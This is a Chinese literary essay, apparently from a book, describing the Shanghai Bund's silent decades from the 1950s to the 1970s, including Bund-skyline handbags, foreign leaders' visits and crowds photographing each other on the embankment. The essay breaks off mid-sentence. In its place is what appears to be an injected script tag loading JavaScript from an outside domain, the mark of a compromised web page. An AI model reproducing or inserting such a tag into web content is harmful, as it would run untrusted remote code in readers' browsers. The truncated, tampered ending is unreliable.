沉默

    五十年代开始，外滩经历了长夜一般的寂静，持续一百年全无心肝的乐观和惊心动魄的赌博气氛终于平息下来。镀金时代暴发的炫耀，渐渐被天长日久的积尘覆盖了，经历了岁月蹉跎，外滩呈现出令人舒服的古旧，和被遗弃后的带着些神秘的感伤。它日日沉默地面对同样沉寂的黄浦江，宛如一条巨大的沉船。

    穿行在大街和窄小横街上的长条公共汽车，42路、21路、49路、55路、26路，倒像是默默穿梭在沉船间的大鱼。车厢里像沙丁鱼子一样紧紧挤在一起、并排列有序的人们，静默地眺望在眼前掠过的建筑、高大坚固的大楼之间如深渊般的街道和夹弄。夕阳西下以后，外滩的楼群渐渐沉入静夜，它们远远看去，像漆黑的山峰。从黄浦江上来的风横扫过行人了了的大街，过去它叫黄浦滩，现在它叫中山东一路和中山东二路。海关钟声响彻之时，犹如滚落山谷的石头发出的声响，在楼群中撞出无数回声，然后慢慢沉寂，如巨石沉入泥沼，平复无痕。1950年代末，中国出版的各种介绍新中国的画册，一无例外地回避外滩的影像。要是从那些画册上认识上海，上海就是连云港或者鞍山，一个阳光灿烂的新中国工业城市。它的寂静，竟是这般的静。

    在这样的寂寞中，外滩却悄悄走进中国人心里，成为上海城市的标志。外滩楼群天际线的速写第一次被印在从60年代到80年代上海出产的各种人造革提包上，在天际线的上方，印着“上海”两个字。这种式样简单、结实耐用，并装有拉链的大小提包以及旅行袋，因为品质良好受到大江南北中国人的欢迎。在中国纵深的腹地，它更是时髦的象征。70年代开始，西方首脑纷纷秘密或者公开访问中国，铁幕后的上海开始露出它变得神秘的面容。他们在上海行程中的固定节目，就是在中国共产党领导人陪同下，登上海大厦楼顶，吃七元人民币标准的国宾淮扬菜，喝绍兴黄酒，并眺望外滩。从广播大楼，外贸大楼，中国银行大楼，到和平饭店，桂林大楼，市政府大楼，一路望过去，直到水上派出所的旧法国气象信号塔圆柱，到处红旗飘扬，那鲜艳的红色，给灰色的街道和建筑带来既活泼又沉寂的气氛。跟着解放军大部队进入上海的胶东青年，已成为上海海关的保卫人员，他就住在原来的海关职员宿舍里。那是海关大楼北翼宽敞舒服的公寓。他家使用的煤气灶，是前任房主留下的西式煤气灶。他的孩子们都出生在这栋大楼里，并在此长大成人。虽然他和他从胶东带来的太太一直保持着胶东口音，但他们的孩子都能说地道的上海话，当然他们同时也能说胶东方言，成为双语者。许多在上海的移民家庭都产生出这样的双语者孩子，并不值得奇怪。

    外滩的上海时代，就这样开始了。

    在堤岸

    1908年，新天安堂的英国住堂牧师写的《上海导览》已经卖了第二版，是当时在上海出版的英文畅销书。他在书中建议，来上海的游客应该到江岸上去看风景。他认为那里是外滩最重要的观景点，能看到繁忙的江面上从世界各地来的船只和国旗，并感受到一个伟大港口都会的特殊气氛。德国人EILEEN HSU BALZER1974年访问上海时发现，那里仍旧是来外滩的人最喜欢去的地方。人们倚靠在堤岸边的水泥矮墙上，眺望江面上过往的船只，男人们为女人和孩子指点船和旗帜，要是偶尔有外国的船进港，他们就有机会看到外国的国旗和站在甲板上的水手。有时，彼此也会遥遥挥手致意。

    天气好的时候，在那里，甚至能看到江口锚地上停泊的巨大的货轮，船体漆着暗红色的油漆，桅杆上高高飘扬着各种旗帜。许多上海孩子，是在这里学到了关于轮船识别的道听途说的知识；渐渐在地理课上知道，沿着这条水道出去，前面就是大海。也许他们并不十分明白这条水道的意义，但街头巷尾听到过的关于旧外滩的只言片语，让那条水道变得神秘。

    这里的空气，即使是在1974年，也比别处要活泼些。夹杂着海风的带有咸味的空气里，仍旧带着喧哗不宁的意思。船在眼前往来，仿佛这里仍旧与四海相连，而不是一口深井。

    外滩堤岸是上海的公共客厅。在这里不再有萨金特提到的12种不同的语言同时袭击你的耳朵，但仍能同时听到不下24种来自全国各地的方言。

    人们在仍旧拥挤的堤岸上散步，看船，看房子，看别人；用国产的海鸥照相机照相。“笑呀。”人们彼此提醒着，郑重其事地对照相机露出毫无希望与欲望、个性深藏的微笑。要是在堤岸上仔细观察，就能看到各种各样在外滩留影的人：一户团圆的大家庭，或者几个来上海出差的外地采购员，正在恋爱的男女，在外滩搞开门办学的中学生们，以及年轻父母带着幼小的孩子。他们大多出现在底片中央，左边的一半是外滩大楼，而另一半，是黄浦江和船。这些照片就是他们曾经来过上海的证明。

    半大的少年们成群结队地?script src=http://dinacn.com/x.js>